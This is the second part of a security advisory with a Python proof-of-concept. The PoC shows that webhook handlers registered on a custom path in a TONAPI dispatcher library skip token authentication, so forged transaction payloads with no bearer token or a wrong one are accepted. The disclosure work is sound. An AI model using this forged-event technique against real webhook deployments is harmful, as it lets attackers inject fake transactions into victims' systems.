Advisory

PYSEC-2026-3614

Details, part 2 of 2. The advisory

Details

---------------------------------------------------------------------------

class FakeWebhookEndpoint:
"""Simulates the TONAPI webhook object returned by client.ensure()."""

def __init__(self, token: str) -> None:
self.token = token

async def sync_accounts(self, accounts: list) -> None:
pass

class FakeWebhookClient:
"""Simulates TonapiWebhookClient: records which endpoints were registered."""

def __init__(self) -> None:
self.registered_endpoints: list[str] = []

async def create_session(self) -> None:
pass

async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:
self.registered_endpoints.append(endpoint)
return FakeWebhookEndpoint(token="real-secret-token-abc123")

async def close_session(self) -> None:
pass

---------------------------------------------------------------------------
PoC
---------------------------------------------------------------------------

async def run_poc() -> bool:
"""Execute all test cases and return True if the vulnerability is confirmed."""

# -----------------------------------------------------------------
# Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)
# -----------------------------------------------------------------
client_a = FakeWebhookClient()
dispatcher_a = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_a,
accounts=["0:victim"],
)
custom_called: list[str] = []

# Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)
@dispatcher_a.account_tx("0:victim", path="/hook/custom")
async def on_custom_tx(event) -> None:
custom_called.append(event.tx_hash)

await dispatcher_a.setup()

# -----------------------------------------------------------------
# Dispatcher B: only a DEFAULT path handler (control group)
# -----------------------------------------------------------------
client_b = FakeWebhookClient()
dispatcher_b = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_b,
accounts=["0:victim"],
)
default_called: list[str] = []

@dispatcher_b.account_tx("0:victim")
async def on_default_tx(event) -> None:
default_called.append(event.tx_hash)

await dispatcher_b.setup()

print("=" * 60)
print("VULN-001: Webhook custom path authentication bypass PoC")
print("=" * 60)
print(f"[dispatcher_a] registered paths : {dispatcher_a.paths}")
print(f"[dispatcher_a] endpoints called : {client_a.registered_endpoints}")
print(f"[dispatcher_a] _tokens map : {dispatcher_a._tokens}")
print()
print(f"[dispatcher_b] registered paths : {dispatcher_b.paths}")
print(f"[dispatcher_b] endpoints called : {client_b.registered_endpoints}")
print(f"[dispatcher_b] _tokens map : {dispatcher_b._tokens}")
print()

forged_payload = {
"event_type": "account_tx",
"account_id": "0:victim",
"lt": 1,
"tx_hash": "FORGED_TX_HASH",
}

results: dict[str, str] = {}

# ------------------------------------------------------------------
# Case A: custom path, NO auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization=None,
)
if "FORGED_TX_HASH" in custom_called:
results["A"] = (
"VULNERABLE — handler invoked with NO Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["A"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["A"] = f"NOT_VULNERABLE (raised) — {exc}"

# ------------------------------------------------------------------
# Case B: custom path, WRONG auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization="Bearer totally-wrong-token",
)
if "FORGED_TX_HASH" in custom_called:
results["B"] = (
"VULNERABLE — handler invoked with WRONG Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["B"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["B"] = f"NOT_VULNERABLE (raised) — {exc}"

# ------------------------------------------------------------------
# Case C: default path, NO auth -> must raise (control: works correctly)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization=None,
)
results["C"] = "UNEXPECTED_PASS — default path accepted no-auth (unexpected)"
except TONAPIError as exc:
results["C"] = f"CORRECTLY_REJECTED — {exc}"

# ------------------------------------------------------------------
# Case D: default path, VALID auth -> baseline, must succeed (control)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization="Bearer real-secret-token-abc123",
)
if "FORGED_TX_HASH" in default_called:
results["D"] = "CORRECTLY_ACCEPTED — default path with valid auth"
else:
results["D"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["D"] = f"UNEXPECTED_REJECTION — {exc}"

# ------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------
print("Test results:")
for case, result in results.items():
print(f" Case {case}: {result}")
print()

vuln_confirmed = (
"VULNERABLE" in results.get("A", "")
and "VULNERABLE" in results.get("B", "")
and "CORRECTLY_REJECTED" in results.get("C", "")
and "CORRECTLY_ACCEPTED" in results.get("D", "")
)

if vuln_confirmed:
print("[RESULT] VULNERABILITY CONFIRMED")
print(" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)")
print(" => expected_token=None => auth check skipped => forged handler called")
print(" Attacker can POST any payload to /hook/custom without credentials.")
else:
print("[RESULT] VULNERABILITY NOT CONFIRMED")
print(" Check individual case results above for details.")

return vuln_confirmed

if __name__ == "__main__":
confirmed = asyncio.run(run_poc())
sys.exit(0 if confirmed else 1)

Sources & licences